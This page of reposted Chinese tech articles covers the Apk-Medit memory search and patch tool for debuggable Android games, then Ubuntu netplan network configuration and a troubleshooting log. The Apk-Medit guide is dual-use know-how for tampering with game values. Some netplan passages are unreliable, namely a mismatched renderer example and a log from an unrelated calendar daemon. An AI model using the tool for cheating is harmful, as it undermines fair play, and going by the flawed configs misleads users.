如何使用Apk-Medit对APK进行内存搜索和数据修改

如何使用Apk-Medit对APK进行内存搜索和数据修改

本文转自 Alpha_h4ck 并作补充

写在前面的话

内存修改往往是在游戏中实现作弊的最简单方法,而且内存也是我们在安全测试过程中必须要去面对和检测的一个内容。虽然现在社区也已经有类似GameGuardian这种的工具了,但现在还没有针对非Root设备的类似工具。Apk-Medit这款工具是一个针对可调式APK的内存搜索和数据修改工具,该工具专为移动端游戏安全测试而设计,我们可以在非Root设备(无需NDK)中使用该工具。

工具安装

首先,我们需要访问该项目的【GitHub Releases页面】来下载该项目源码。下载完成之后,我们需要将代码拷贝至目标安卓设备的/data/local/tmp/目录下:

1
2
3
$ adb push medit /data/local/tmp/medit

medit: 1 file pushed. 29.0 MB/s (3135769 bytes in 0.103s)

代码构建

我们可以使用make命令来完成代码的构建,这里要求使用Go编译器。代码构建完成之后,使用adb连接设备,它将会把构建好的代码推送至目标Android设备的/data/local/tmp/目录下:

1
2
3
4
5
6
7
$ make

GOOS=linux GOARCH=arm64 GOARM=7 go build -o medit

/bin/sh -c "adb push medit /data/local/tmp/medit"

medit: 1 file pushed. 23.7 MB/s (3131205 bytes in 0.126s)

工具命令

搜索

在内存中搜索特定的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
> find 999982

Search UTF-8 String...

Target Value: 999982([57 57 57 57 56 50])

Found: 0!

------------------------

Search Word...

parsing 999982: value out of range

------------------------

Search Double Word...

Target Value: 999982([46 66 15 0])

Found: 1!

Address: 0xe7021f70

我们还可以指定目标数据类型,比如说字符串、dword和qword等等:

1
2
3
4
5
6
7
8
9
> find dword 999996

Search Double Word...

Target Value: 999996([60 66 15 0])

Found: 1!

Address: 0xe7021f70

过滤

我们可以对搜索结果进行过滤,并匹配当前的搜索值:

1
2
3
4
5
6
7
8
9
> filter 993881

Check previous results of searching dword...

Target Value: 993881([89 42 15 0])

Found: 1!

Address: 0xe7021f70

数据修改

我们可以直接修改目标地址的数据值:

1
2
3
> patch 10

Successfully patched!

ps命令

寻找目标进程,如果只有一个的话,我们可以使用ps命令来自动指定:

1
2
3
4
5
> ps

Package: jp.aktsk.tap1000000, PID: 4398

Target PID has been set to 4398.

绑定进程

如果目标PID是通过ps命令设置的,我们就可以跟目标进程进行绑定,并通过ptrace来终止App内的所有进程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
> attach

Target PID: 4398

Attached TID: 4398

Attached TID: 4405

Attached TID: 4407

Attached TID: 4408

Attached TID: 4410

Attached TID: 4411

Attached TID: 4412

Attached TID: 4413

Attached TID: 4414

Attached TID: 4415

Attached TID: 4418

Attached TID: 4420

Attached TID: 4424

Attached TID: 4429

Attached TID: 4430

Attached TID: 4436

Attached TID: 4437

Attached TID: 4438

Attached TID: 4439

Attached TID: 4440

Attached TID: 4441

Attached TID: 4442

如果目标PID没有设置的话,我们就需要在命令行中专门指定了:

1
> attach <pid>

解绑进程

解绑已绑定的进程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
> detach

Detached TID: 4398

Detached TID: 4405

Detached TID: 4407

Detached TID: 4408

Detached TID: 4410

Detached TID: 4411

Detached TID: 4412

Detached TID: 4413

Detached TID: 4414

Detached TID: 4415

Detached TID: 4418

Detached TID: 4420

Detached TID: 4424

Detached TID: 4429

Detached TID: 4430

Detached TID: 4436

Detached TID: 4437

Detached TID: 4438

Detached TID: 4439

Detached TID: 4440

Detached TID: 4441

Detached TID: 4442

导出

显示内存导出数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
> dump 0xf0aee000 0xf0aee300

Address range: 0xf0aee000 - 0xf0aee300

----------------------------------------------

00000000 34 32 20 61 6e 73 77 65 72 20 28 74 6f 20 6c 69 |42 answer (to li|

00000010 66 65 20 74 68 65 20 75 6e 69 76 65 72 73 65 20 |fe the universe |

00000020 65 74 63 7c 33 29 0a 33 31 34 20 70 69 0a 31 30 |etc|3).314 pi.10|

00000030 30 33 20 61 75 64 69 74 64 20 28 61 76 63 7c 33 |03 auditd (avc|3|

00000040 29 0a 31 30 30 34 20 63 68 61 74 74 79 20 28 64 |).1004 chatty (d|

00000050 72 6f 70 70 65 64 7c 33 29 0a 31 30 30 35 20 74 |ropped|3).1005 t|

00000060 61 67 5f 64 65 66 20 28 74 61 67 7c 31 29 2c 28 |ag_def (tag|1),(|

00000070 6e 61 6d 65 7c 33 29 2c 28 66 6f 72 6d 61 74 7c |name|3),(format||

00000080 33 29 0a 31 30 30 36 20 6c 69 62 6c 6f 67 20 28 |3).1006 liblog (|

00000090 64 72 6f 70 70 65 64 7c 31 29 0a 32 37 31 38 20 |dropped|1).2718 |

000000a0 65 0a 32 37 31 39 20 63 6f 6e 66 69 67 75 72 61 |e.2719 configura|

000000b0 74 69 6f 6e 5f 63 68 61 6e 67 65 64 20 28 63 6f |tion_changed (co|

000000c0 6e 66 69 67 20 6d 61 73 6b 7c 31 7c 35 29 0a 32 |nfig mask|1|5).2|

000000d0 37 32 30 20 73 79 6e 63 20 28 69 64 7c 33 29 2c |720 sync (id|3),|

000000e0 28 65 76 65 6e 74 7c 31 7c 35 29 2c 28 73 6f 75 |(event|1|5),(sou|

000000f0 72 63 65 7c 31 7c 35 29 2c 28 61 63 63 6f 75 6e |rce|1|5),(accoun|

退出

如需退出该工具,可以使用exit命令或按下Ctrl+D:

1
2
3
> exit

Bye!

工具测试

我们可以使用make命令来运行测试代码:

1
$ make test

工具使用Demo

image

image

Ubuntu Server 配置无线网络

Ubuntu Server 配置无线网络

本文转自 muzing 并作补充

本文简单记录了在 Ubuntu Server 22.04 上通过 Netplan 工具配置网络,连接到 WLAN 的过程。

准备工作

安装无线网络相关配置工具:

  • network-manager - 网络管理工具
  • wpasupplicant - 提供对 WPA 加密的支持
  • wireless-tools - 提供 iwconfig、iwlist 等无线网络配置工具
1
sudo apt install network-manager wpasupplicant wireless-tools

查看网卡硬件:

1
2
3
ifconfig -a
# 或者使用
ip a

image

根据上面的查询结果获得无线网卡名称,记住该名称。(无线网卡的名称一般以 wlanwlp 开头,详情参考本文附录a。)

如果没有看到列出无线网卡,除硬件故常或接触不良外,还可能是因为无线网卡未启动。可以尝试使用如下命令将其启动:

1
sudo ifconfig wlan0 up  # 启动名为 wlan0 的网络设备

扫描无线网络

在准备工作中已经安装了 wireless-tools,可以使用 iwlist 命令扫描当前环境中的 Wi-Fi 信号:

1
sudo iwlist wlan0 scan  # 注意将 wlan0 换成实际无线网卡的设备名

输出的结果非常详细,也非常长:

image

如果太多信息造成干扰,可以使用 Linux 的 grep 命令对输出信息进行筛选,例如:

1
2
sudo iwlist wlan0 scan | grep ESSID  # 仅查看 Wi-Fi 名称
sudo iwlist wlan0 scan | grep -E "Quality|ESSID" # 查看 Wi-Fi 名称和网络质量

image

编辑配置文件

进入 Netplan 配置目录,查看其中的默认配置文件:

1
2
3
$ cd /etc/netplan/
$ ls
50-cloud-init.yaml

此机器上的配置文件名为 50-cloud-init.yaml。由于安装方式、系统版本等差异,配置文件的名称可能有所不同,但都是 yaml 格式、位于 /etc/netplan/ 下,根据实际情况使用。使用管理员权限编辑该文件:

1
sudo vim /etc/netplan/50-cloud-init.yaml

添加如下内容:

1
2
3
4
5
6
wifis:
wlan0:
dhcp4: true
access-points:
"你的ssid":
password: "你的密码"

其中 wlan0 为无线网卡名称,dhcp4 表示开启自动IP地址分配,在 access-points 下可以设置多组 ssid(即通常所说的“Wi-Fi名称”)与密码。

更新后,配置文件内容大致如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
network:
version: 2
renderer: NetworkManager

ethernets:
eth0:
dhcp4: true
optional: true

wifis:
wlan0:
dhcp4: true
access-points:
"wifi_name1":
password: "mypassword"
"666":
password: "66666666"

连接网络

修改配置文件后,不要立即将其应用生效,而要先使用 netplan try 命令验证新的配置是否有效:

1
sudo netplan try  # 检查配置文件中是否有语法错误、尝试用新的配置

image

如果新的网络配置没有问题,则会出现上面的界面,按下键盘 ENTER 确认即可。如果此时本来就是通过网络以 SSH 方式控制服务器,而新的网络配置出现问题导致连接断开,也不必惊慌,等待两分钟让 netplan 恢复之前的配置即可。

1
2
sudo netplan generate  # 生成 renderers 所需的配置文件
sudo netplan apply # 应用 netplan 新配置,将自动重启 network-manager 使修改生效

检查是否已连接至网络(以下任一条命令均可):

1
2
3
iwconfig
ifconfig
ip a

如仍未连接至网络,可以尝试手动重启 NetworkManager 或服务器:

1
2
sudo systemctl restart NetworkManager.service
sudo reboot

附录a:网卡设备名称简析

在使用 ifconfig -aip a 列出本机所有网卡设备名称时,可能看到若干名称,其含义简单分析如下:

  • lo 表示 local
  • en 表示 ethernet 以太网
  • wl 表示 wlan,即 Wireless Local Area Network 无线局域网
  • 后面的 p2s0 等表示 PCIe 接口的物理位置(bus, slot),总线与插槽

例如, wlp4s0 表示一张位于 PCIe 总线4 插槽0 的无线网卡。

附录b:树莓派连接无线网络

在使用新安装 Ubuntu Server 系统的树莓派时,可能遇到手头没有显示器、也没有有线网络连接的情况。这时本可以通过电脑 SSH 连接至树莓派进行远程开发,但前提是树莓派必须已经接入无线局域网络;而为了让树莓派接入网络,又需要用 SSH 连接后才能修改 Netplan 配置文件,陷入僵局。解决问题的办法是,在树莓派系统启动之前就完成对网络的配置:通过修改安装着树莓派的操作系统的存储卡中的特定文件即可实现。

将存储卡通过读卡器连接到电脑,可以看到 system-boot 和 writable 两个分区,打开 system-boot 分区,搜索名为 network-config 的文件:

image

使用文本编辑工具打开该文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# This file contains a netplan-compatible configuration which cloud-init will
# apply on first-boot (note: it will *not* update the config after the first
# boot). Please refer to the cloud-init documentation and the netplan reference
# for full details:
#
# https://netplan.io/reference
# https://cloudinit.readthedocs.io/en/latest/topics/network-config.html
# https://cloudinit.readthedocs.io/en/latest/topics/network-config-format-v2.html
# ...

# Some additional examples are commented out below

network:
version: 2

ethernets:
eth0:
dhcp4: true
optional: true

# wifis:
# wlan0:
# dhcp4: true
# optional: true
# access-points:
# myhomewifi:
# password: "S3kr1t"
# myworkwifi:
# password: "correct battery horse staple"
# workssid:
# auth:
# key-management: eap
# method: peap
# identity: "me@example.com"
# password: "passw0rd"
# ca-certificate: /etc/my_ca.pem

可以看到,该文件的格式与语法正是 Netplan 形式,用于在首次启动系统时初始化 Netplan 配置。参考原本注释掉的示例和本文正文,编辑该配置文件,添加 Wi-Fi 信息并保存。

完成配置文件的编辑后,将存储卡插回到树莓派中,通电开机,即会自动连接至无线网络。进入路由器后台管理,即可看到设备名为 ubuntu 的设备,记住其局域网 IP 地址,在电脑上使用 ssh 连接即可:

1
ssh ubuntu@192.168.3.24

如果没有路由器的管理员权限,无法进入后台查看树莓派的 IP,可以在电脑上尝试使用 Angry IP Scanner 等 IP 扫描工具寻找。

附录c:Netplan原理简述

Netplan 本身只是一个用于网络配置的辅助小工具,它将读取 /etc/netplan/*.yaml 配置文件,然后据此生成 renderer 所需的配置文件,并重启 renderer 使修改生效。目前 Netplan 支持的 renderer 包括 NetworkManagerSystemd-networkd 两种。这样用户只需修改简洁清晰、YAML格式、统一的 Netplan 配置文件,而无需为每个 renderer 编辑其配置文件。

image

参考

netplan网络配置

netplan网络配置

本文转自 cloud-atlas 并作补充

Ubuntu发行版默认使用 netplan.io 配置网络接口,例如我在在 树莓派Ubuntu网络设置 中就使用了netplan。netplan支持后端使用 networkd 或者 network-manager 进行管理配置。

netplan简介

image

激活netplan

Ubuntu在服务器版本默认激活了netplan来配置管理网络,但是在桌面版本,则默认使用NetworkManager管理网络。例如 Jetson Nano快速起步 可以看到Jetson使用Ubuntu的18.04桌面版本,所以我们需要安装并激活netplan。

  • 安装netplan:

    1
    apt install netplan.io

备注

Ubuntu 18.04.4 LTS 上,提供了2个软件包:

1
2
netplan
netplan.io

建议完整安装 netplan.io ,这个版本跟随 netplan.io 官方更新,修复了一些问题。

当前 Ubuntu 20.04.3 LTS 已默认安装 netplan.io ,不再提供旧版本 netplan

使用netplan配置静态IP

对于Kubernetes master等服务器,我期望IP地址是固定的IP地址,所以准备配置static IP。不过,Ubuntu 18系列的静态IP地址配置方法和以前传统配置方法不同,采用了 .yaml 配置文件,通过 netplan 网络配置工具来修改。

备注

根据Ubuntu的安装不同,有可能你的安装并没有包含Netplan,则依然可以采用传统的Debian/Ubuntu配置静态IP的方法,即直接修改 /etc/network/interfaces 来实现。不过,从Ubuntu 17.10 开始,已经引入了 Netplan 网络配置工具。

Netplan允许通过YAML抽象来配置网络接口,在 NetworkManagersystemd-networkd 网络服务(引用为 renderers )结合共同工作。

Netplan会读取 /etc/netplan/*.yaml 配置文件来设置所有的网络接口。

列出所有激活的网络接口

  • 使用 ifconfig 命令列出所有网络接口:

    1
    ifconfig -a

例如,看到的输出数据(DHCP):

1
2
3
4
5
6
7
8
ens2: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
inet 192.168.122.61 netmask 255.255.255.0 broadcast 192.168.122.255
inet6 fe80::5054:ff:fe97:c338 prefixlen 64 scopeid 0x20<link>
ether 52:54:00:97:c3:38 txqueuelen 1000 (Ethernet)
RX packets 382 bytes 45170 (45.1 KB)
RX errors 0 dropped 84 overruns 0 frame 0
TX packets 165 bytes 22890 (22.8 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  • 默认在 /etc/netplan 目录下有一个 01-netcfg.yaml 内容如下:

netplan初始DHCP配置

1
2
3
4
5
6
7
8
# This file describes the network interfaces available on your system
# For more information, see netplan(5).
network:
version: 2
renderer: networkd
ethernets:
ens2:
dhcp4: yes

备注

如果安装操作系统的时候没有自动创建一个 YAML 配置文件,可以通过以下命令先生成一个:

1
sudo netplan generate

不过,对于Ubuntu的desktop, server, cloud版本,自动生成的配置文件会采用不同的名字,例如 01-network-manager-all.yaml01-netcfg.yaml

  • 编辑 /etc/netplan/01-netcfg.yaml :

netplan 静态IPP配置

1
2
3
4
5
6
7
8
9
10
11
network:
version: 2
renderer: networkd
ethernets:
ens2:
dhcp4: no
dhcp6: no
addresses: [192.168.122.11/24, ]
gateway4: 192.168.122.1
nameservers:
addresses: [192.168.122.1, ]
  • 执行以下命令生效(注意在控制台执行,否则网络会断开):

    1
    sudo netplan apply
  • 验证检查 ifconfig -a 可以看到IP地址已经修改成静态配置IP地址

netplan配置一个网卡多个IP

有时候需要在一个网卡上配置多个IP地址,实现单臂网桥路由,netplan也支持 interface alias 。配置方法很简单:

1
2
3
4
5
6
7
8
9
network:
version: 2
renderer: networkd
ethernets:
enp3s0:
addresses:
- 10.100.1.38/24
- 10.100.1.39/24
gateway4: 10.100.1.1

或者:

1
2
3
ethernets:
enp3s0:
addresses: [ 10.100.1.38/24, 10.100.1.39/24 ]

执行 netplan apply 可以看到系统网卡:

1
2
enp3s0
enp3s0:1

分配了IP地址 10.100.1.3810.100.1.39

netplan配置有线802.1x认证

企业网络常常会使用802.1x网络实现认证,不仅无线可以通过这种方式加强安全,有线网络也可以实现。netplan也支持在有线网络上加上认证功能,配置案例有些类似后文 WPA Enterprise无线网络 ,案例 01-eno4-config.yaml 如下:

netplan 802.1x配置

1
2
3
4
5
6
7
8
9
10
11
12
13
network:
version: 2
renderer: networkd
ethernets:
eno4:
dhcp4: yes
dhcp6: no
macaddress: xx:xx:xx:xx:xx:xx
auth:
key-management: 802.1x
method: peap
identity: "USERNAME"
password: "PASSWD"

然后执行 netplan apply 即完成网络激活

netplan配置无线

连接开放无线网络

对于没有密码要求的无线网络,只需要定义access point:

1
2
3
4
5
6
7
network:
version: 2
wifis:
wlan0:
access-points:
"open_network_ssid_name": {}
dhcp4: yes

连接WPA Personal无线

对于采用WPA密码保护的无线网络,配置access-point和对应的password就可以。

  • 配置 /etc/netplan/02-homewifi.yaml

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    network:
    version: 2
    renderer: networkd
    wifis:
    wlan0:
    dhcp4: yes
    dhcp6: no
    #addresses: [192.168.1.21/24]
    #gateway4: 192.168.1.1
    #nameservers:
    # addresses: [192.168.0.1, 8.8.8.8]
    access-points:
    "network_ssid_name":
    password: "**********"

WPA Enterprise无线网络

在企业网络中,常见的是使用 WPA 或 WPA2 Enterprise加密方式的无线网络,则需要添加认证信息。

  • 以下案例是 WPA-EAP 和 TTLS 加密无线网络连接配置:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    network:
    version: 2
    wifis:
    wl0:
    access-points:
    workplace:
    auth:
    key-management: eap
    method: ttls
    anonymous-identity: "@internal.example.com"
    identity: "joe@internal.example.com"
    password: "v3ryS3kr1t"
    dhcp4: yes
  • 以下案例是 WPA-EAP 和 TLS加密无线网络:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    network:
    version: 2
    wifis:
    wl0:
    access-points:
    university:
    auth:
    key-management: eap
    method: tls
    anonymous-identity: "@cust.example.com"
    identity: "cert-joe@cust.example.com"
    ca-certificate: /etc/ssl/cust-cacrt.pem
    client-certificate: /etc/ssl/cust-crt.pem
    client-key: /etc/ssl/cust-key.pem
    client-key-password: "d3cryptPr1v4t3K3y"
    dhcp4: yes

netplan mac spoof

如果使用 networkd 后端,则不支持wifi匹配,只能使用接口名字。以下为举例:

1
2
3
4
5
6
7
8
9
network:
version: 2
renderer: networkd
wifis:
wlan0:
dhcp4: yes
dhcp6: no
macaddress: xx:xx:xx:xx:xx:xx
...

如果使用NetworkManager后端,还可以采用 match: 方法:

1
2
3
4
5
6
7
8
9
10
11
network:
version: 2
renderer: networkd
wifis:
wlan0:
dhcp4: yes
dhcp6: no
match:
macaddress: yy:yy:yy:yy:yy:yy
macaddress: xx:xx:xx:xx:xx:xx
...

netplan配置bonding

简单active-backup bonding

  • 参考原先安装虚拟机自动生成的 /etc/netplan/50-cloud-init.yaml 注释内容,禁用cloud-init网络配置,即创建 /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg 内容如下:

    1
    network: {config: disabled}

备份原配置:

1
2
3
cp /etc/netplan/50-cloud-init.yaml ~/
cd /etc/netplan
rm -f 50-cloud-init.yaml
  • 编辑 /etc/netplan/01-netcfg.yaml

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    network:
    version: 2
    renderer: networkd
    ethernets:
    ens33:
    dhcp4: no
    dhcp6: no
    ens38:
    dhcp4: no
    dhcp6: no
    bonds:
    bond0:
    interfaces: [ens33, ens38]
    parameters:
    mode: active-backup
    mii-monitor-interval: 1
    primary: ens33
    addresses: [192.168.161.10/24, ]
    gateway4: 192.168.161.1
    nameservers:
    addresses: [127.0.0.53, ]

bonding上增加VLAN

  • 编辑 /etc/netplan/01-netcfg.yaml

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    network:
    version: 2
    renderer: networkd
    ethernets:
    eth0:
    dhcp4: no
    dhcp6: no
    eth1:
    dhcp4: no
    dhcp6: no
    bonds:
    bond0:
    interfaces: [eth0, eth1]
    parameters:
    mode: active-backup
    mii-monitor-interval: 1
    primary: eth0
    vlans:
    bond0.22:
    id: 22
    link: bond0
    addresses: [ "192.168.1.24/24" ]
    gateway4: 192.168.1.1
    nameservers:
    addresses: [ "192.168.1.1", "192.168.1.17", "192.168.1.33" ]
    search: [ "huatai.me", "huatai.net", "huatai.com" ]

备注

Red Hat Enterprise Linux 7 Networking Guide Using Channel Bonding 提供了详细的参数设置,通常 miimon=time_in_milliseconds 设置 100 表示100ms,也就是 0.1s 。不过这里我参考netplan文档设置为1s。

有关 VLAN over bonding配置请参考 Netplan - configuring 2 vlan on same bonding

没有netplan配置systemd-networkd

实际上你可以不使用netplan也不使用NetworkManager就可以配置网络,因为 Systemd进程管理器 实际上提供了完整的系统配置功能。默认启动的 systemd-networkd 接管了所有网络配置,所以手工添加配置也可以实现配置。

所有的 systemd-networkd 配置位于 /etc/systemd/network/ 目录下,例如, enp0s25.network 配置内容:

1
2
3
4
5
6
7
[Match]
Name=enp0s25

[Network]
Address=192.168.6.9/24
GATEWAY=192.168.6.10
DNS=192.168.6.10

此时只需要重新加载一次 systemd-networkd 就可以:

1
systemctl restart systemd-networkd

netplan问题排查

警告

netplan似乎不需要作为服务启动,而仅仅是作为一个前端工具,实际调用的是 networkd 和 NetworkManager来完成配置。我在Jetson Nano的Ubuntu 18.04使用netplan失败,似乎这个版本比较老,和现有netplan文档不能对齐,并且使用也很怪异,所以我还是使用 切换NetworkManager 重新切回NetworkManager进行管理。

以下是一些debug经验记录,仅供参考。

切换NetworkManager 之后,我在 NVIDIA Jetson 上将NetworkManager切换成netplan。但是,我发现 netplan apply 之后,网卡上并没有绑定静态配置的IP地址。虽然看上去 /etc/netplan/01-netcfg.yaml 和原先在树莓派上运行的Ubuntu 20.04没有什么区别:

1
2
3
4
5
6
7
8
9
10
network:
version: 2
renderer: networkd
ethernets:
eth0:
dhcp4: no
dhcp6: no
addresses: [192.168.6.10/24, ]
nameservers:
addresses: [202.96.209.133, ]

既然使用 networkd 作为 renderer ,就应该生成 systemd-networkd 使用的配置文件,但是在 /etc/systemd/network 目录下没有生成任何配置文件。

参考 networkd not applying config - missing events? 可以看到,需要使用 networkctl list 查看一下网卡是否受到管理:

1
networkctl list

果然,我输出显示:

1
2
3
4
5
6
7
8
IDX LINK             TYPE               OPERATIONAL SETUP
1 lo loopback carrier unmanaged
2 dummy0 ether off unmanaged
3 eth0 ether routable unmanaged
4 wlan0 wlan off unmanaged
5 l4tbr0 ether off unmanaged
6 rndis0 ether no-carrier unmanaged
7 usb0 ether no-carrier unmanaged

对比树莓派上 networkctl list 显示输出:

1
2
3
4
IDX LINK  TYPE     OPERATIONAL SETUP
1 lo loopback carrier unmanaged
2 eth0 ether routable configured
3 wlan0 wlan routable configured

networkctl

参考 networkctl — Query the status of network links networkctl 可以用于检查网络连线的状态是否被 systemd-networkd 看到。参考 systemd-networkd.service, systemd-networkd — Network manager :

  • systemd-networkd 会管理在 [Match] 段落找到的 .network 文件中的任何连接来管理网络地址和路由。
  • 由于我执行 netplan apply 没有生成对应的 networkd 配置文件,所以导致网络没有配置

我尝试先创建空的 /etc/netplan 目录,然后执行:

1
netplan -d generate

显示:

1
2
3
4
5
6
7
netplan: netplan version 2.2 starting at Tue Oct 13 22:54:14 2020
netplan: database directory is /var/lib/plan/netplan.dir
netplan: user "netplan" is uid 63434 gid 63434
netplan: switching from user <root> to <uid 63434 gid 63434>
netplan: running with uid=63434 gid=63434 euid=63434 egid=63434
netplan: reading access list file /var/lib/plan/netplan.dir/.netplan-acl
netplan: netplan/tcp not found in /etc/services, using ports 2983 and 5444
  • 仔细检查了 systemctl status netplan ,发现原因了:没有激活netplan daemon:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    ● netplan.service - LSB: Netplan calendar service.
    Loaded: loaded (/etc/init.d/netplan; generated)
    Active: active (exited) since Tue 2020-10-13 21:12:52 CST; 1h 47min ago
    Docs: man:systemd-sysv-generator(8)
    Process: 4631 ExecStart=/etc/init.d/netplan start (code=exited, status=0/SUCCESS)

    10月 13 21:12:51 jetson systemd[1]: Starting LSB: Netplan calendar service....
    10月 13 21:12:52 jetson netplan[4631]: Netplan daemon not enabled in /etc/init.d/netplan.
    10月 13 21:12:52 jetson systemd[1]: Started LSB: Netplan calendar service..

上述日志显示在 /etc/init.d/netplan 中没有激活netplan服务,所以实际该服务状态是 active(exited) ,也就是退出状态。

编辑 /etc/init.d/netplan 文件,将:

1
2
# Set ENABLED=0 to disable, ENABLED=1 to enable.
ENABLED=0

修改成:

1
2
# Set ENABLED=0 to disable, ENABLED=1 to enable.
ENABLED=1
  • 然后再次执行启动 netplan

    1
    systemctl start netplan

此时提示:

1
Warning: The unit file, source configuration file or drop-ins of netplan.service changed on disk. Run 'systemctl daemon-reload' to reload units.

所以按照提示执行:

1
2
systemctl daemon-reload
systemctl restart netplan

启动之后再次检查 systemctl status netplan 则可以看到状态:

1
2
3
4
5
6
7
8
9
10
11
12
● netplan.service - LSB: Netplan calendar service.
Loaded: loaded (/etc/init.d/netplan; generated)
Active: active (running) since Tue 2020-10-13 23:07:44 CST; 1min 8s ago
Docs: man:systemd-sysv-generator(8)
Process: 8386 ExecStop=/etc/init.d/netplan stop (code=exited, status=0/SUCCESS)
Process: 8430 ExecStart=/etc/init.d/netplan start (code=exited, status=0/SUCCESS)
Tasks: 1 (limit: 4174)
CGroup: /system.slice/netplan.service
└─8464 /usr/sbin/netplan

10月 13 23:07:43 jetson systemd[1]: Starting LSB: Netplan calendar service....
10月 13 23:07:44 jetson systemd[1]: Started LSB: Netplan calendar service..
  • 但是比较奇怪,我执行 netplan -d generate 始终不生成配置文件,仅提示:

    1
    2
    3
    4
    5
    6
    7
    netplan: netplan version 2.2 starting at Tue Oct 13 23:25:29 2020
    netplan: database directory is /var/lib/plan/netplan.dir
    netplan: user "netplan" is uid 63434 gid 63434
    netplan: switching from user <root> to <uid 63434 gid 63434>
    netplan: running with uid=63434 gid=63434 euid=63434 egid=63434
    netplan: reading access list file /var/lib/plan/netplan.dir/.netplan-acl
    netplan: netplan/tcp not found in /etc/services, using ports 2983 and 5444

根据 netplan-generate - generate backend configuration from netplan YAML files 说明:

  • netplan generate 是根据 netplan 的 yaml配置来调用networkd后端或者NetworkManager后端来生成对应后端服务的配置文件
  • 通常不需要独立运行 netplan generate ,只需要运行 netplan apply 就可以,因为 netplan apply 会自动调用 netplan generate ,而 netplan generate 只是为了验证配置生成
  • netplan 会一次从以下3个位置读取配置文件,并且按照优先级,仅有一个位置的配置文件生效:
    • /run/netplan 优先级最高
    • /etc/netplan 次优先级
    • /lib/netplan 最低优先级

参考 netplan - Troubleshooting networking issues 当出现配置不能生成,需要将后端服务器启动成debug模式。例如,我使用 systemd-netowrkd 则需要启用 DebuggingSystemd

1
2
sudo systemctl stop systemd-networkd
SYSTEMD_LOG_LEVEL=debug /lib/systemd/systemd-networkd

但是我发现我执行 netplan generatenetplan apply 都没有任何影响,似乎就没有连接上。

虽然手工可以创建一个 /run/systemd/network/10-netplan-eth0.network 填写内容:

1
2
3
4
5
6
7
[Match]
Name=eth0

[Network]
LinkLocalAddressing=ipv6
Address=192.168.6.10/24
DNS=202.96.209.133

配置创建后,执行 networkctl 就可以看到该eth0网卡是 configured ,似乎状态正常了。但是重启主机则网卡又是 unmanaged 并且 /run/systemd/network 目录又空了。

发现一个蹊跷,执行 netplan -d -v generate 显示输出:

1
2
3
netplan: netplan version 2.2 starting at Wed Oct 14 09:46:03 2020
netplan: database directory is /var/lib/plan/netplan.dir
...

为何显示数据库目录是 /var/lib/plan/netplan.dir ?

我这个版本的netplan默认去读取了空白的 /var/lib/plan/netplan.dir ,这个和官方文档不同。我尝试移除这个目录:

1
2
cd /var/lib
mv plan plan.bak

再次启动 netplan -d -v generate 显示:

1
2
3
4
5
6
netplan: netplan version 2.2 starting at Wed Oct 14 09:49:16 2020
netplan: database directory is /var/lib/plan/netplan.dir
netplan: user "netplan" is uid 63434 gid 63434
netplan: switching from user <root> to <uid 63434 gid 63434>
netplan: running with uid=63434 gid=63434 euid=63434 egid=63434
netplan: no read/write access to /var/lib/plan/netplan.dir/.: No such file or directory

这个版本的netplan可能是早期版本( 实践是在 Ubuntu 18 上,安装了 netplan 而没有安装更完整的 netplan.io 根据网友impl1874提供信息( use netplan.io please #10 ),需要通过完整安装 netplan.io 来修复这个问题。

我在上文中补充说明,建议直接安装 netplan.io ),只能固定读取 /var/lib/plan/netplan.dir/ ,不使用 /etc/netplan 目录,导致我配置无效。我还发现在 /var/lib/plan/netplan.dir/ 有一个隐含文件:

1
.netplan-acl -> /etc/plan/netplan-acl

警告

上述排查是我早期的记录,当时安装的操作系统是 Ubuntu 18 LTS,安装的 netplan 存在bug,请完整安装 netplan.io 来避免这个问题。

最新的 Ubuntu 20.04 LTS 默认即使用 netplan.io 没有这个问题。

5G Hz无线网络连接

在树莓派上配置了netplan的无线配置,配置文件 /etc/netplan/02-wifi.yaml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
network:
version: 2
renderer: networkd
wifis:
wlan0:
optional: true
dhcp4: yes
dhcp6: no
access-points:
"SSID-HOME":
password: "home-passwd"
"SSID-OFFICE":
auth:
key-management: eap
identity: "office.id"
password: "office-passwd"

但是发现无线始终无法连接, ip addr 显示:

1
2
3: wlan0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc fq_codel state DOWN group default qlen 1000
link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff
  • 使用 iwconfig 检查:

    1
    2
    3
    4
    5
    wlan0     IEEE 802.11  ESSID:off/any
    Mode:Managed Access Point: Not-Associated Tx-Power=31 dBm
    Retry short limit:7 RTS thr:off Fragment thr:off
    Encryption key:off
    Power Management:on
  • 使用 networkctl list 检查发现:

    1
    2
    3
    4
    5
    6
    IDX LINK  TYPE     OPERATIONAL SETUP
    1 lo loopback carrier unmanaged
    2 eth0 ether routable configured
    3 wlan0 wlan no-carrier configuring

    3 links listed.
  • 检查无线网络连接服务配置状态:

    1
    systemctl status netplan-wpa-wlan0.service

